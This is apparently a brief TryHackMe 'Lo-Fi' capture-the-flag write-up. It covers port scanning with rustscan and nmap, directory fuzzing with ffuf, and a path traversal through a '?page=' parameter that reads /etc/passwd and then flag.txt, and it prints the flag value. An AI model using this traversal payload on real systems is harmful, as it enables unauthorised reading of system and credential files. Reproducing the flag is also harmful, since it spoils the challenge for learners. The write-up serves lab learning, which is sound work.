Lo-Fi TryHackMe Writeup

wellcome to lo-fi tryhackme challange , i just simple writeup for it , without to much explanations

first of all , I going to scan network , so I will use rustscan first because rust scan much faster , after that I use nmap scan for detailed scanning

rustscan -a <ip>

scan result

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

after that scan using nmap

nmap -sV -vvv -p22,80 10.10.173.193

nmap scan results

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.2.22 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.01 seconds

thats it ok , now just explore the port 80

Gathering information

information gathering is the most important step for CTF, after gathering information only we can move to further steps

so analysing what are technologies used in this website using wappalyzer

Directory enum / Hidden directory Enum

then I am going to get directory enumaration

ffuf -u http://10.10.173.193/FUZZ -w /home/ducky/wordlists/SecLists/Discovery/Web-Content/common.txt

scan result

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0

then analysing source code in this website, we can find some enpoints

when I click this link it get source code from specific location like this

http://10.10.173.193/?page=relax.php

so lets try the path traversal vulnerability ,

http://10.10.173.193/?page=../../../../../../../../../etc/passwd

boom I got it

just ii try this and i got flag

http://10.10.173.193/?page=../../../../../flag.txt

flag is

flag{e4478e0eab69bd642b8238765dcb7d18}

thank you for reading my blog post , i will see you in another blog
